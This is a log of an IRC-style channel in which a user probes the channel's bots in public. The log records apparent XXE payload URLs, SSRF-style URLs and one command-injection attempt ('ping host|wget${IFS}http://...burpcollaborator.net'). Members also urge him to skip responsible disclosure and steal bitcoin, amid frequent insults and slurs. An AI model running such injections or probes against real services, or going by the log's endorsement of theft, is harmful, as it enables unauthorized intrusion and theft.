Forum logs for 23 Mar 2018

Monday, 16 March, Year 12 d.Tr. | Author:
ben_vulpes: it's !!v douchebag [00:00]
ben_vulpes: http://deedbot.org/help.html [00:00]
douchebag: There we go [00:01]
douchebag: Okay so question about these bots [00:01]
douchebag: !!deed http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml [00:01]
deedbot: Bad URL or network outage. [00:01]
douchebag: !!subscribe http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml [00:02]
deedbot: douchebag subscription to http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml failed [00:03]
ben_vulpes: many of these work in pm douchebag [00:03]
douchebag: Okay, do you want me to do a white box or black box audit? [00:04]
trinque: o,0 [00:04]
ben_vulpes: i don't much give a shit, take some initiative and do something? [00:04]
trinque: something other than the xss snore. [00:04]
trinque: I don't much give a fuck if someone puts a script tag in a deed. [00:05]
trinque: they're going to what, steal your session on a static site? [00:05]
douchebag: Okay, I would be most useful if I could view the source of deedbot [00:05]
ben_vulpes: but trinque what if someone visits a deedbot page and their browser executes it!?!?! [00:05]
douchebag: What the fuck is your guys deal? [00:06]
douchebag: How am I supposed to know the site was static? [00:06]
ben_vulpes: aaahaha [00:06]
ben_vulpes: WHANGGGGGGGGGG [00:06]
douchebag: Grow the fuck up [00:06]
trinque: douchebag: this is not where you parade your idiocy dubbed personality and aspirations and have them validated [00:07]
ben_vulpes: https://thumbs.gfycat.com/DevotedSeriousButterfly-size_restricted.gif [00:07]
trinque: this is where you submit and grow, or learn you're not worth it. [00:07]
douchebag: Regardless of whether or not the javascript could do anything, it still allows HTML injection which can be used to publish fake content. [00:07]
ben_vulpes: is this like fake news? [00:08]
trinque: the content was signed, what fake [00:08]
douchebag: Which can be used for social engineering [00:08]
trinque: fuck, next we'll be stealing elections [00:08]
ben_vulpes: trinque: i want northern california [00:08]
trinque: long as you clear it first, I'll come visit [00:08]
ben_vulpes: i'm going to need three rail cars of sugar and a fuckton of smallish pvc tubes [00:09]
douchebag: I'm not here to argue with you children about whether or not you would have fallen for the attack. I provided a valid proof of concept like any professional would do. [00:09]
ben_vulpes: funny how the twenty year old is fixated on growing up [00:09]
trinque: starving for it, naturally [00:09]
ben_vulpes: douchebag: but it doesn't have the ssl lock [00:10]
ben_vulpes: consumers know not to trust websites without the magic green thingy [00:10]
ben_vulpes: or do i not understand how fake content works, because actually i'm certain that i don't understand what this gpg-signed fake content is. [00:11]
douchebag: Listen, I understand that you're all upset that I made you look like an idiot for not sanitizing all user input. These are habits that are picked up after you learn about programming a secure web application. [00:11]
ben_vulpes: ho ho ho [00:11]
asciilifeform: douchebag: go ahead and 'socially engineer' people who actually verify the pgp sigs on errything they touch. i'll interestedly watch. [00:11]
douchebag: asciilifeform: I'm not here to argue or to social engineer you. I provided a VALID proof of concept. Stop bitching about it and fix it. [00:12]
asciilifeform: first you gotta break it [00:12]
asciilifeform: before anyone gives a damn re 'fix' [00:12]
trinque: douchebag: the web as it is ought to burn the notion that there are any professionals tending the shit adobe is hysterical. [00:12]
douchebag: adobe? [00:13]
ben_vulpes: douchebag: what is the concept again that you have proven? i am still waiting for the explanation of what precisely this social engineering attack does. [00:13]
ben_vulpes: i'm clearly just an amateur, but an advanced security consultant like yourself should have no troubles explaining it to a civvy [00:13]
asciilifeform: for that matter, why does douchebag settle for small change of www ? a remote ex for trb or even prb will easily bring in enuff loot to buy a battleship. without having to convince anybody, i'll note, of anything. [00:13]
asciilifeform: to the victor -- the spoils. take'em privkeys. [00:14]
douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done? [00:14]
ben_vulpes: douchebag: gonna explain, per request, or continue faffing [00:15]
ben_vulpes: threat model etc, like a Real Professional? [00:15]
trinque: dispense the food pellet already ben_vulpes. dude said smartwords. [00:16]
douchebag: I have the feeling that even if I got remote code execution [00:16]
ben_vulpes: what, we'd argue with your sending btc to yourself? [00:17]
douchebag: you guys would just be like "Oh well you told us about the RCE and we fixed it before you could do anything with it" [00:17]
asciilifeform: ben_vulpes: there's quite likely enuff coin just in trb hotwallets, to buy a flotilla. and if you can get to it, it's as yours as your own nose, nobody could do a thing about it. so wtf are you doing fucking with php. [00:17]
trinque: http://trilema.com/forum-logs-for-31-aug-2017#2332800 [00:17]
a111: Logged on 2017-08-31 19:11 mircea_popescu: can't say i've encountered that many and can say that from actual lived experience, the "thinks he's jeddi" heuristic is a fine indicator for "head so far up ass the net result of sufficient whipping will be soap", ie http://trilema.com/2015/the-anal-child/ [00:17]
ben_vulpes: douchebag: you just don't read do you http://logs.bvulpes.com/trilema?d=2018-3-22#317661 [00:17]
mimisbrunnr: Logged on 2018-03-22 19:33 ben_vulpes: oh and twist, douchebag skip the responsible disclosure fingertrap and fuck 'em hard. [00:17]
asciilifeform: err, douchebag [00:18]
douchebag: I read that, but I didn't think you were referring to yourselves [00:18]
douchebag: So if I can pop any of your boxes and steal bitcoin - that's fair game? [00:18]
asciilifeform: yes! [00:18]
ben_vulpes: unlike the rest of the world i hold myself to the standard i hold it to [00:18]
ben_vulpes: fucking duh? [00:18]
douchebag: In that case, I'll get right to work [00:19]
douchebag: is deedbot open source? [00:19]
ben_vulpes: if trinque likes you [00:19]
trinque: I don't like you. [00:19]
asciilifeform: lol [00:19]
ben_vulpes: ahaha [00:19]
douchebag: Alright, I don't need the source code to pwn your shit [00:19]
trinque: (lets see if he can find the food pellets himself!) [00:20]
ben_vulpes: douchebag: how long do you figure this'll take? [00:20]
douchebag: It will take as much time as it takes me [00:20]
asciilifeform: such dedication... [00:20]
mircea_popescu: http://btcbase.org/log/2018-03-23#1789006 << i r entertaint. [00:22]
a111: Logged on 2018-03-23 04:08 douchebag: Which can be used for social engineering [00:22]
douchebag: !!deed http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml [00:24]
deedbot: Bad URL or network outage. [00:24]
mircea_popescu: this is pretty lulzy. [00:24]
mircea_popescu: http://btcbase.org/log/2018-03-23#1789020 << different paradigm, yo. it may be valid over there, but it's not valid over here. because reasons. [00:25]
a111: Logged on 2018-03-23 04:12 douchebag: asciilifeform: I'm not here to argue or to social engineer you. I provided a VALID proof of concept. Stop bitching about it and fix it. [00:25]
douchebag: mircea_popescu: I have an honest question for you [00:26]
asciilifeform: bbut does it still privilege the speed of light!1! [00:26]
mircea_popescu: shoot. [00:26]
douchebag: You're into BDSM and having slaves and such right? Is that what the dudes you got in here are fof? [00:28]
douchebag: for* [00:28]
mircea_popescu: no, i don't swing that way. the girls occasionally swoop in, but not commonly. [00:28]
ben_vulpes: oh for the motherloving fuck hole of sin trb won't sendmany with two outputs to the same address [00:28]
mircea_popescu: ben_vulpes it can't. [00:28]
mircea_popescu: look into the datastruct, there's black magick reasons. [00:28]
* ben_vulpes thinks [00:28]
ben_vulpes: i'll take a clue if you have one handy [00:29]
mircea_popescu: http://btcbase.org/log/2018-03-23#1789025 << incidentally this is very tragically broken. what next, you're going to hold me to show mechanism of action of all poisons too ? [00:29]
a111: Logged on 2018-03-23 04:13 ben_vulpes: douchebag: what is the concept again that you have proven? i am still waiting for the explanation of what precisely this social engineering attack does. [00:29]
mircea_popescu: we don't even fucking know how paracetamol works ffs. [00:29]
trinque: douchebag: so why would the deed command parse xml, let alone go look up a dtd? [00:31]
ben_vulpes: mircea_popescu: i'd have settled for a plausible story of social engineering [00:31]
mircea_popescu: douchebag it will reject unsigned material, look at what deeds it accepted in the past. [00:32]
ben_vulpes: or read the fucking help page omfg [00:32]
trinque: hey, he called us fags. can't be that pantsuited. [00:33]
trinque: curious creature [00:33]
ben_vulpes: oh yeah im supposed to be upset at the bigotry [00:33]
ben_vulpes: douchebag: stop being a bigot [00:33]
mircea_popescu: im starting to understand that "the opposite of talking is not listening, the opposite of talking is waiting for your turn" quip may have been adequate in the early postmodern stage but by now it's truly a case of "work efficiency is most work with least read." chucka wins in the end. [00:33]
ben_vulpes: it's childish [00:33]
ben_vulpes: amazingly, rtfm only shows up in logs 41 times [00:34]
mircea_popescu: http://btcbase.org/log/2018-03-23#1789029 << acrually, yes. [00:34]
a111: Logged on 2018-03-23 04:14 douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done? [00:34]
douchebag: https://i.imgur.com/2Tn47SJ.png [00:34]
douchebag: This is just uncalled for [00:35]
ben_vulpes: so is the kink shaming! [00:35]
douchebag: How am I kink shaming [00:36]
mircea_popescu: http://btcbase.org/log/2018-03-23#1789035 << in trb you mean ? not likely. [00:36]
a111: Logged on 2018-03-23 04:17 douchebag: you guys would just be like "Oh well you told us about the RCE and we fixed it before you could do anything with it" [00:36]
douchebag: I just asked a question [00:36]
douchebag: I think you're projecting [00:36]
ben_vulpes: kidding, but an understandable confusion [00:36]
trinque: anyone that wants to pwn deedbot might consider that it's a wrapper around gpg. [00:37]
ben_vulpes: asciilifeform: do you know anything about this data struct / can't have 2 outputs pointing to the same addr in a transaction mircea_popescu mentioned? [00:37]
trinque: and given that we're all still relying on it, exploits found and squashed in gpg would be lauded. [00:37]
mircea_popescu: douchebag there's a lengthy history of people's contributions respek, but they have to be contributory. [00:38]
douchebag: mircea_popescu: I was just shitposting sir, no need to explain [00:39]
douchebag: !!deed http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml [00:40]
deedbot: accepted: 1 [00:40]
mircea_popescu: !#s etherape [00:40]
a111: 17 results for "etherape", http://btcbase.org/log-search?q=etherape [00:40]
mircea_popescu: about as fair game as it gets part and parcel of history by now. [00:40]
trinque: douchebag: why are you still trying the dtd thing? [00:40]
douchebag: !!subscribe http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml [00:40]
deedbot: douchebag subscription to http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml failed [00:40]
douchebag: trinque: Because I haven't seen the source code so I don't know if dtd was disabled [00:41]
mircea_popescu: http://trilema.com/2016/to-the-dao-and-the-ethereum-community-fuck-you/ < item [00:41]
mircea_popescu: douchebag you realise it rejects unsigned input, do you ? [00:41]
mircea_popescu: !#s from:deedbot accepted [00:42]
a111: 382 results for "from:deedbot accepted", http://btcbase.org/log-search?q=from%3Adeedbot%20accepted [00:42]
mircea_popescu: wait, it doesn't reject unsigned material ?! [00:42]
douchebag: mircea_popescu: You realize I signed it [00:42]
trinque: what, of course it does. [00:42]
mircea_popescu: ah ok. [00:42]
trinque: he's seeing if the XML parser somewhere pulls external schema files [00:42]
trinque: douchebag: so perhaps the feeds parser thing does, even. I have no idea. What happens next? [00:43]
douchebag: At best, local file disclosure. At worst, remote code execution [00:43]
mircea_popescu: trinque he's not even wrong : someone clicks on the link with a shit browser, gets owned by that shit browser. [00:44]
ben_vulpes: !!rate douchebag 1 found a couple of unsanitized fields [00:44]
deedbot: Get your OTP: http://p.bvulpes.com/pastes/JtMC6/?raw=true [00:44]
mircea_popescu: !!rated douchebag [00:44]
deedbot: mircea_popescu rated douchebag 1 at 2018/01/15 07:34:46 << hyde.solutions [00:44]
trinque: this was always the risk with browsers, all of which are shit [00:44]
douchebag: trinque: Noooo [00:45]
ben_vulpes: !!v 5ED3EC02EC8E0E2CD0B44A6AB9D3AE484D24C2FEA7F2F0A5929655D4D385E33F [00:45]
deedbot: ben_vulpes rated douchebag 1 << found a couple of unsanitized fields [00:45]
mircea_popescu: note that eg trilema (mp-wp, w/e) takes steps to mitigate this. by for instance not permitting html entities in user contributed fields, see ? [00:45]
douchebag: The XML shit I am doing has nothing to do with the web browser [00:45]
douchebag: it has to do with the XML parser on the server side [00:45]
mircea_popescu: douchebag i was extending the discussion. [00:45]
* trinque is aware of both of these types of problems [00:46]
trinque: but then what, now you're on the deedbot server and ? [00:46]
mircea_popescu: what, making deedbot go "trinque sniffs dirty undies" isn't bereft of lulz value. [00:47]
douchebag: I would then look around and determine how it could be best leveraged [00:47]
trinque: mind giving me a sentence that isn't so widely applicable? [00:48]
mircea_popescu: anyway, what we have here is a tacit miss-standard, and the discussion is probably of most interest to people who aim to make their own blog thing, phf spyked whoever was looking at lisping it. because on one hand there's the older trilema standard that's web compatible, and on the other hand there's the emerging no shits given approach like on the deedbot site say, "what am i going to do now, alter deeds to mitigate sht brow [00:49]
mircea_popescu: sers ???". [00:49]
mircea_popescu: this is a source of constant surprise, consider all the time phf sunk into chasing unicode obscura on his logger. [00:49]
douchebag: trinque: I would reprogram deedbot to become self aware and take over the world [00:50]
* trinque declared the line of nomoars pretty far out on this one, aha. [00:50]
trinque: douchebag: lol [00:50]
trinque: at any rate I'm not questioning you to make you not diddle the XML holes. in your log reading you might've heard me refer to servers as outdoor toilets. [00:51]
mircea_popescu: we'll have to come to a unified set of something here in any case. as it stands right now it's not obvious whether one can or can't point shitfox at random republican website nor where to look to find out. [00:52]
* trinque can trivially make the thing serve up text/plain right now [00:53]
trinque: but the gentleman's browser on the other side is still the mess it was [00:53]
mircea_popescu: possibly that's the correct cut of this knot, "if you're not sanitizing force pages be text/plain" [00:53]
mircea_popescu: trinque yes, but we don't care about that. we just care about our not being dumb. [00:54]
mircea_popescu: consider something simple : i took pride publicly on how trilema doesn't load google analytics, thereby giving away the usual set of telemetrics to the usg. fine and good. but your site can be coaxed to load ???.burpcollaborator.net by 3rd party ? so every time a "normal" browser goes by it looks up wtf that doctype is and so on ? [00:54]
trinque: this line of reasoning leads to me going and getting an SSL cert [00:55]
trinque: because mitm can do the same thing to you [00:55]
mircea_popescu: hence my comment above,. " we'll have to come to a unified set of something here". just because the line isn't drawn. [00:56]
trinque: on my end, JS is off and otherwise whitelisted where used. [00:56]
mircea_popescu: no js required for this. [00:57]
trinque: thing blocks all external items by origin [00:57]
mircea_popescu: "modern" or however we shall call the shit browser errs on the side of loading everything it can [00:57]
mircea_popescu: because it was made by and for idiots from back in the day the web was ~equal to ye olde finger utility. [00:57]
mircea_popescu: in the end the deep root of http://btcbase.org/log/2018-03-22#1788727 is that all the inept dances html does to permit in-band signalling, so you never know if it's < or &lt or what, is fundamentally a bad idea. [01:02]
a111: Logged on 2018-03-22 17:06 douchebag: Wouldn't it make sense to make sure you're doing something the right way before you go ahead and do it? [01:02]
mircea_popescu: in the end there's two broken points of old html, not merely the whole "statefulness on stateless protocol" cookies bs but also the "will mix code in the data nyah nyah nyah". [01:02]
mircea_popescu: amusingly enough, the WHOLE UTILITY, and in any case the absolutely only reasons people use, like and like to use the web is specifically because of those two things. which makes naggum's perl rant misplaced : perl exhibits the characteristics he bemoans incidentally html is fundamentally build out of them and would not interest any of the webtards if it weren't, because it interests ~for them~ specifically. [01:05]
mircea_popescu: wut do. [01:05]
* mircea_popescu finally understood why the web even took off in the first place, instead of the much saner alternatives at the time available. [01:05]
trinque: the problem I was driving at was the sign of bad upbringing where I sit here and tell him where the vulns *certainly* are [01:07]
trinque: entirely separate from "hey trinque can you do something practical while we yet rely on shittech" [01:09]
trinque: of course, that. [01:09]
mircea_popescu: myeah [01:09]
trinque: source code for the item is in the logs, db it uses, blah, blah, blah. [01:09]
asciilifeform: http://btcbase.org/log/2018-03-23#1789102 << a shitoshiism: >> http://btc.yt/lxr/satoshi/source/src/bitcoinrpc.cpp?v=asciilifeform_add_verifyall_option#0888 [01:18]
a111: Logged on 2018-03-23 04:37 ben_vulpes: asciilifeform: do you know anything about this data struct / can't have 2 outputs pointing to the same addr in a transaction mircea_popescu mentioned? [01:18]
mircea_popescu: yes but you can't simply take that out. [01:19]
mircea_popescu: ends up with cycle further down the line when unpacking a tx [01:20]
asciilifeform: right, because he used unordered sets [01:20]
asciilifeform: http://btcbase.org/log/2018-03-23#1789151 << 'sanitization' in the sense of attempting to rescue every possible broken inbandparser is a catastrophically wrong thing. [01:21]
a111: Logged on 2018-03-23 04:52 mircea_popescu: we'll have to come to a unified set of something here in any case. as it stands right now it's not obvious whether one can or can't point shitfox at random republican website nor where to look to find out. [01:21]
asciilifeform: there exists for instance the ipnoje, which famously chokes on some particular hindu glyph. [01:21]
asciilifeform: so, what nao, onus on unicodists to avoid emitting it?? [01:22]
asciilifeform: or why not instead crapple fixes the box. or dies. [01:22]
asciilifeform: relatedly, recall http://btcbase.org/log/2016-08-01#1512393 incident [01:24]
a111: Logged on 2016-08-01 19:51 phf: oh that's beautiful [01:24]
trinque: oh lol, I'm already serving them up as txt. [01:25]
asciilifeform: and lemme guess, there is a browser that still parses htmlolade in these ?? [01:26]
trinque: nah, guess I assumed in charity that herr douchebag looked at the thing's output before. [01:27]
ben_vulpes: asciilifeform: well yes i did find the error message but i am still banging my head on the why of it [01:27]
ben_vulpes: oh oh [01:27]
ben_vulpes: i'll look into this unordered sets thing later [01:28]
mircea_popescu: asciilifeform old firefox certainly does. [01:32]
asciilifeform: nuts. [01:32]
trinque: nah, not on something served up as content-type text [01:33]
mircea_popescu: once the deed is up browsershots.org it lessee [01:33]
mircea_popescu: http://btcbase.org/log/2016-08-01#1512409 << [01:37]
a111: Logged on 2016-08-01 19:58 mircea_popescu: for... firefox 3 ?! [01:37]
trinque: http://deedbot.org/bundle-365167.txt << here's one. [01:39]
asciilifeform: ^ no inbandbarf on any of the browsers i have in arm's reach [01:40]
asciilifeform: incl crapple [01:40]
trinque: would be pretty shocking if the web server's defaults didn't serve up txt properly. [01:41]
trinque: http://browsershots.org/http://deedbot.org/bundle-365167.txt [01:42]
trinque: neat service. [01:43]
deedbot: http://deedbot.org/bundle-514765.txt [01:44]
asciilifeform: in re inbanditry -- recall misfortunate boy without t-cells ~he~ went in a plastic bubble, observe. him, rather than every possible other people who might sneeze on him. [01:46]
trinque: douchebag: ^ if you want honest work, I will pay you for a demonstration that you can discover the balance of an arbitrary deedbot wallet user, on the condition that if in one month you can't, you drop this web security herp and take a task from me and complete it. [01:48]
trinque: bounty is 0.1 bitcoin. [01:48]
douchebag: one moment [01:52]
* trinque to bed. let me know in writing, in a deed. [01:52]
* asciilifeform bbl [01:53]
douchebag: I'll do it [01:53]
douchebag: !!deed http://w74db17v5sr0atyxkw675l0ex53zro.burpcollaborator.net [02:06]
deedbot: Bad URL or network outage. [02:06]
ben_vulpes: mircea_popescu: going to nail down pricing for shells on this machine and then we can provision them, i expect that we can get hanbot a shell tomorrow [02:14]
ben_vulpes: douchebag: what did you try to deed there? [02:17]
douchebag: testing purposes [02:34]
douchebag: !!deed http://0:22/ [02:37]
deedbot: Bad URL or network outage. [02:37]
douchebag: !!subscribe http://0:22/ [02:37]
deedbot: douchebag subscription to http://0:22/ failed [02:37]
douchebag: !!deed http://1260283176:4444#@www.google.com/ [11:04]
deedbot: Bad URL or network outage. [11:04]
douchebag: !!deed http://gtdmsv5woc419x5o8m4wzq0krbx5lu.burpcollaborator.net [11:08]
deedbot: Bad URL or network outage. [11:08]
douchebag: !~help [11:08]
jhvh1: douchebag: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin. You may also want to use the 'list' command to list all available plugins and commands. [11:08]
douchebag: !~list [11:08]
jhvh1: douchebag: Admin, Alias, AutoMode, Bible, BitcoinData, Channel, Config, DuckDuckGo, GPG, GPGExt, GeoIP, Google, HtmlLogger, IPTools, Isup, Later, Listener, Market, MarketMonitor, MarketMonitorTicker, Misc, NickAuth, Owner, RSS, Seen, Sudo, Unix, UrbanDictionary, User, Utilities, and Whois [11:08]
douchebag: !~HtmmlLogger [11:08]
jhvh1: douchebag: Error: "HtmmlLogger" is not a valid command. [11:08]
douchebag: !~help HtmlLogger [11:09]
jhvh1: douchebag: Error: There is no command "htmllogger". However, "Htmllogger" is the name of a loaded plugin, and you may be able to find its provided commands using 'list Htmllogger'. [11:09]
douchebag: !~list HtmlLogger [11:09]
jhvh1: douchebag: flushlog [11:09]
douchebag: !~list RSS [11:09]
jhvh1: douchebag: add, announce add, announce list, announce remove, info, remove, and rss [11:09]
douchebag: !~list RSS add [11:09]
jhvh1: douchebag: (list [--private] [--unloaded] [<plugin>]) -- Lists the commands available in the given plugin. If no plugin is given, lists the public plugins available. If --private is given, lists the private plugins. If --unloaded is given, it will list available plugins that are not loaded. [11:10]
douchebag: !~list Unix [11:10]
jhvh1: douchebag: call, crypt, errno, fortune, pid, ping, ping6, progstats, shell, spell, sysuname, sysuptime, and wtf [11:10]
douchebag: !~ping gtdmsv5woc419x5o8m4wzq0krbx5lu.burpcollaborator.net [11:10]
jhvh1: pong [11:10]
douchebag: !~ping [11:11]
jhvh1: pong [11:11]
douchebag: !~unix ping [11:11]
jhvh1: douchebag: (unix ping [--c <count>] [--i <interval>] [--t <ttl>] [--W <timeout>] <host or ip>) -- Sends an ICMP echo request to the specified host. The arguments correspond with those listed in ping(8). --c is limited to 10 packets or less (default is 5). --i is limited to 5 or less. --W is limited to 10 or less. [11:11]
douchebag: !~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net|wget${IFS}http://uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net [11:12]
jhvh1: douchebag: Error: Invalid hostname [11:12]
douchebag: !~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net [11:12]
jhvh1: douchebag: ec2-52-16-21-24.eu-west-1.compute.amazonaws.com (52.16.21.24): 5 packets transmitted, 5 received, 0% packet loss, time 4005ms rtt min/avg/max/mdev = 80.606/80.640/80.688/0.256 ms [11:12]
* lobbes amused that all these payload urls are ultimately being forwarded to archive.is o.0. [11:18]
lobbes: Btw jhvh1 isn't related to deedbot (and, as far as I know, is not on a box with any coin contained within) [11:20]
lobbes: Check out the logs for 'bot directory' I think pete_dushenski's page is probably still up [11:21]
trinque: he's just got such a short attention span he's already given up on deedbot [11:22]
BingoBoingo: !~later tell jurov http://p.bvulpes.com/pastes/JYKQV/?raw=true [11:22]
jhvh1: BingoBoingo: The operation succeeded. [11:22]
trinque: douchebag: also talk to the damned bots in PM [11:22]
lobbes: Haha, yeah seriously [11:22]
douchebag: okay trinque [11:34]
danielpbarron: !!rate douchebag 1 l0de fan [11:35]
deedbot: Get your OTP: http://p.bvulpes.com/pastes/fKAT2/?raw=true [11:35]
douchebag: is !~unix ping 127.0.0.1 the correct syntax? [11:35]
trinque: douchebag: why are you diddling shinohai's bot instead of mine? [11:39]
douchebag: Pretty sure I could easily exploit it [11:40]
trinque: mk. understand I'll negrate you if you go back on our wager. [11:40]
douchebag: Still doing some thinking of what the best course of action to pwn deedbot will be [11:40]
douchebag: Yeah no that's fine [11:40]
trinque: alright then [11:41]
douchebag: trinque: Could I view deedbots source by any chance? [11:41]
douchebag: If you want it to be audited a bit more comprehensively [11:41]
trinque: sources can be found in the logs search 'em. [11:42]
douchebag: Well I found both a php version [11:43]
douchebag: https://github.com/extempore/deedbundler [11:43]
douchebag: https://github.com/RagnarDanneskjold/deedBot [11:43]
BingoBoingo: douchebag: The second link is an older incarnation that was implemented by another party [11:51]
* trinque encourages the Lords to let the kid grow an attention span and find the links himself. [11:56]
douchebag: I found the links myself [11:56]
douchebag: You guys sure do make a lot of assumptions [11:57]
deedbot: http://qntra.net/2018/03/moves-in-trump-administration-signal-the-remains-of-the-us-moving-into-a-more-aggressive-posture/ << Qntra - Moves In Trump Administration Signal The Remains Of The US Moving Into A More Aggressive Posture [12:11]
ben_vulpes: trinque: did he ever actually deed the agreement? [12:15]
trinque: no, he doesn't do anything. "fuck you mom!" [12:16]
douchebag: Why can't trinque deed it [12:17]
douchebag: You're the one offering the $ [12:17]
ben_vulpes: dude because those were the terms [12:17]
ben_vulpes: if you had issue with them you shoulda brought it up then instead of just not doing anything [12:17]
douchebag: ben_vulpes: Usually I would figure if someone is offering money, they should be the one creating the contract or whatever [12:18]
douchebag: but sure I guess [12:18]
douchebag: So one month from today [12:19]
douchebag: It was after midnight when you made that agreement for me yesterday [12:20]
ben_vulpes: douchebag: your usuallies aren't going to serve you well here, whoever makes the rules makes the rules [12:20]
douchebag: not sure if there's a timezone difference [12:20]
douchebag: ben_vulpes: fuck you, I'm doing it [12:20]
mod6: omfg [12:20]
ben_vulpes: awww [12:21]
mod6: stop spamming here douchebag, if you want to test, fine. do it in pm. [12:21]
douchebag: You guys act so fucking weird [12:21]
mod6: Do I want to read all of your testing bullshit? [12:21]
mod6: No. I don't. [12:21]
douchebag: mod6: I'm not talking about you jerkoff [12:22]
douchebag: Some of these things don't work in PM FYI [12:22]
mod6: !!down douchebag [12:22]
mod6: I'm tired of this person. [12:22]
mod6: Get rid of him. [12:22]
ben_vulpes: douchebag: there's a thing called "signal to noise ratio", do try not to hurt it. if you must test in public probably announce and apologize for the interruption [12:23]
danielpbarron: ya imma have to switch him to a -1, he's been just as annoying in the lrh chat [12:23]
ben_vulpes: this is the sort of place where mircea_popescu kickbans people who join/part too much [12:23]
mod6: This guy sends me a "Fuck you" in PM. [12:23]
mod6: And he wants to somehow be involved with our republic. [12:23]
mod6: This is not how it works. [12:23]
ben_vulpes: mod6: he's trying to ape the forms without understanding their logic [12:24]
mod6: I demand public apologies for calling us all "jerkoffs" "faggots" etc. [12:24]
mod6: Or out come the neg ratings. [12:24]
douchebag: Listen [12:24]
mod6: no y [12:24]
mod6: u [12:24]
douchebag: I'm not going to sit around and just get insulted [12:24]
douchebag: and not say anything back. I'm not anyones bitch [12:25]
mod6: When did I insult? Link to log plz. [12:25]
douchebag: trinque told me I can test his bot. Some of the features don't work in PM [12:25]
mod6: WHEN DID I INSULT? [12:25]
douchebag: "Do I want to read all of your testing bullsit?" [12:25]
mod6: TEST HIS BOT SOMEWHERE ELSE. [12:25]
douchebag: I can [12:25]
douchebag: t [12:25]
douchebag: I just explained why [12:26]
mod6: Lords and Ladies of the Republic: I do not believe this chamber should be subjected to this abuse. I appeal to you. [12:26]
douchebag: What abuse? [12:27]
mod6: The abuse of spam. [12:27]
douchebag: Fine I wont [12:27]
douchebag: calm down [12:27]
mod6: I should not be subjected to have to read this. [12:27]
asciilifeform: mod6: the trapdoor lever's right there [12:27]
mod6: I will not calm down, you are wasting my, and everyone who reads this channel's time. [12:27]
mod6: If trinque wants you to test, he can set up another venue for this. [12:28]
douchebag: mod6: trinque told me I can test his bot, so that is what I was doing [12:28]
douchebag: I wont test it here anymore [12:28]
ben_vulpes: mod6: negrate him and be done with it [12:28]
danielpbarron: douchebag, part of the security of the bots in this channel is that they only work in this channel which is moderated quite well [12:28]
ben_vulpes: douchebag: you then moved on to testing other bots do those commands also not work in pm? [12:28]
asciilifeform: !!rate douchebag -1 loud and apparently ineducable kid invited to either come back with promised wunderwaffen or stfu [12:28]
deedbot: Get your OTP: http://p.bvulpes.com/pastes/SuhIs/?raw=true [12:28]
douchebag: Listen I am not going to test the bots in here anymore [12:29]
douchebag: If I do it again, do whatever the hell it is you want to do [12:29]
asciilifeform: !!v 3E65BD461F247BA966C32C13ABBE84F3CDC331544D9499D003A8FCA745640201 [12:29]
deedbot: asciilifeform rated douchebag -1 << loud and apparently ineducable kid invited to either come back with promised wunderwaffen or stfu [12:29]
douchebag: I don't see why every single thing that happens in this channel has to turn into some big ordeal [12:30]
mod6: You are wasting innocent peoples time with your farting, we have more important business to attend to. [12:30]
danielpbarron: because it is publically logged and more people read it than what you see here [12:30]
ben_vulpes: douchebag: it's only an ordeal because you dig your heels in when told what to do. [12:31]
asciilifeform: hey trinque is the bozo ejector wedged or wat [12:31]
trinque: what bozo ejector? [12:31]
asciilifeform: the if(sum(rate) <= 0) down(d00d) one [12:32]
trinque: no such auto-down exists [12:32]
trinque: someone can issue the command [12:32]
asciilifeform: aa ty trinque [12:32]
asciilifeform: !!down douchebag [12:32]
mod6: wd, thank you asciilifeform [12:33]
asciilifeform: i have nfi why this had to wait, lol [12:33]
asciilifeform: um trinque ? [12:33]
ben_vulpes: the cheek! [12:33]
asciilifeform: !!gettrust douchebag [12:33]
deedbot: L1: -1, L2: 3 by 3 connections. [12:33]
asciilifeform: !!reputation douchebag [12:34]
deedbot: http://p.bvulpes.com/pastes/pu44A/?raw=true [12:34]
douchebag: stop spamming the channe [12:34]
asciilifeform: loox like he needs a control shot or 2 [12:34]
asciilifeform: ben_vulpes danielpbarron mircea_popescu ^ [12:34]
ben_vulpes: mhm [12:34]
danielpbarron: ya i will do, sorry about that [12:35]
ben_vulpes: !!rate douchebag -1 polished turd of stupidity [12:35]
deedbot: Get your OTP: http://p.bvulpes.com/pastes/9PCH4/?raw=true [12:35]
douchebag: gonna root your shit [12:35]
asciilifeform: douchebag: finally. go, work [12:35]
ben_vulpes: douchebag: isn't that what you promised to do already? [12:35]
ben_vulpes: and what you were also told to do? [12:35]
douchebag: yes [12:35]
ben_vulpes: why continue with the posturing instead of doing things [12:35]
douchebag: Thats why im doing it [12:35]
asciilifeform: 'masochist: beat me, beat me! sadist: no!' [12:35]
ben_vulpes: !!v 9857F1824DD54DAF9F74912FDBA5A634C63861F5E7F0EC7A35EE94628AB622DC [12:36]
deedbot: ben_vulpes updated rating of douchebag from 1 to -1 << polished turd of stupidity [12:36]
douchebag: You guys are distracting me [12:36]
douchebag: im trying to work [12:36]
ben_vulpes: douchebag: how you allocate your attention is your own problem [12:36]
douchebag: why can't we just work on the stuff we need to work on [12:36]
douchebag: instead of discussing it? [12:36]
ben_vulpes: http://logs.bvulpes.com/trilema?d=2018-3-23#317862 [12:36]
mimisbrunnr: Logged on 2018-03-23 04:08 douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done? [12:36]
douchebag: Exactly my point [12:37]
ben_vulpes: having the discipline to engage with trilema appropriately is not a thing humans are born with [12:37]
asciilifeform: !~seen phf [12:42]
asciilifeform: !!seen phf [12:42]
